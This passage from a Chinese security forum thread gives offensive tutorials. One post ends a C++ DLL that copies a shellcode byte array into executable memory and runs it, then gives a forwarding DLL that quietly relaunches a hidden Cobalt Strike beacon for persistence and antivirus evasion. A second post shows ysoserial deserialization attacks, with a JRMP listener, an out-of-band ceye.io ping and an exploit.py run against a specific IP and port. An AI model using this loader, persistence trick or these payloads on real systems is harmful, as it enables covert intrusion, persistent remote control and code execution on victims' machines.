                "\x36\x8a\x3a\x23\x85\x4f\xa7\x67\x52\x2f\x26\x20\x85\x5e\xb2"
                "\x42\xa3\x6c\x9c\x63\xd1\x06\x67\x0a\xfb\xef\x6b\x63\x3f\x03"
                "\x99\xc8\xb0\x99\x4f\x6e\x0c\xa5\x86\xef\xb6\x66\x9a\x7b\xc4"
                "\xf5\xc7\x6e\xdc\x66\x65\xf7\xef\x45\xaf\xb0\xe7\x36\xd7\x13"
                "\x4c\x02\xdf\x2e\xff\x99\x5a\x6a\x0c\x8d\xa6\x11\x77\x2e\x13"
                "\xe3\xc4\xf5\x04\xe1\x68\x86\x65\xf7\xcd\xc6\x29\x84\xa7\x27"
                "\xc2\x6e\x0c\xad\xa6\x67\x4e\x27\x20\xbb\x20\x3b\x8f\x11\x62"
                "\xe3\x5a\x56\x8f\x06\x11\x20\xc2\x83\x72\xb1\x85\x4f\xee\xa6"
                "\x34\x8a\x8a\x6a\x0c\xad\xa3\xdf\x7e\x0c\x9e\x63\xdd\x07\x67"
                "\x17\xf6\xdc\x98\xfb\x4d\x10\x11\x3b\x34\x9e\x9a\x5c\xd0\x07"
                "\x6d\x2a\x97\x38\x13\xd4\xef\x0f\xaf\xb7\xdf\x66\x8a\x22\x85"
                "\x0e\xb6\xa6\x3e\x94\xd2\x13\x4c\x0e\x54\xb6\x13\x35\x7f\xdd"
                "\x50\x07\x67\x2d\xfe\xef\x5d\x6f\xb4\x86\xa7\x67\x47\x2e\x13"
                "\xf8\xcd\xc6\x17\xaf\x0d\x64\x43\xea\xda\xb0\x3b\x6d\x4f\x66"
                "\xe7\x0a\xdd\x0e\xb9\xb7\xdf\x66\xda\x22\x85\x0e\xb6\x84\xb7"
                "\x3c\xdb\x98\x8e\x60\xe1\xde\x48\xb3\xcd\x7b\xc4\xf5\x9b\x80"
                "\xfa\x07\x65\xf7\xcc\xb0\x20\x07\x8b\x99\x65\xdd\xcd\x4e\x2d"
                "\xa6\x9e\xa0\xd2\xa7\x73\x3a\x5a\xaf\x48\x81\xc2\x48\x85\x16"
                "\xa7\x29\x75\x96\x2f\x80\xd3\xb0\x3b\xee\xb7";
            size_t size = sizeof(buf);
            char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(inject, buf, size);
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
        return TRUE;
    }
```

中间那段为shellcode

这种直接生成的dll不免杀,实战中需要做免杀处理。

### dll加载免杀马上线(也是利用转发)

首先给这个文件加一个隐藏属性:

```
attrib +h beacon.exe
```

接着采用DLL去加载这个木马,

代码如下:

```c++
#include "pch.h"
#include "windows.h"
//开始转发,将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(TEXT("path\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
    }

    return TRUE;

}
```

然后后面直接去尝试加载就行了,程序执行完的时候(`DLL_PROCESS_DETACH`),会自动加载我们的cs马。

说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 昨天 21:16 | 显示全部楼层
# 反序列化工具ysoserial使用介绍

### 0x01 基本使用方法

**在公网vps上执行:**

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】‘
```

port:公网vps上监听的端口号
commands:需要执行的命令
例子:

```html
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'
```

**重启一个shell窗口:**

```
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient
```

列子:

```
python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient
```

### 在ysoserial编写自己的payload

1. git clone [ https://github.com/fanyingjie2/ysoserial.git](https://github.com/fanyingjie2/ysoserial.git)

2. 将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/

3. 修改Dockerfile

4. docker build -t ysoserial .

5. docker run -ti ID号 /bin/bash

6. 在docke中执行 apt-get update

7. 在docker中执行apt-get install lrzsz

8. sz target/ysoserial.jar

   

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-10-28 19:40 , Processed in 0.016346 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表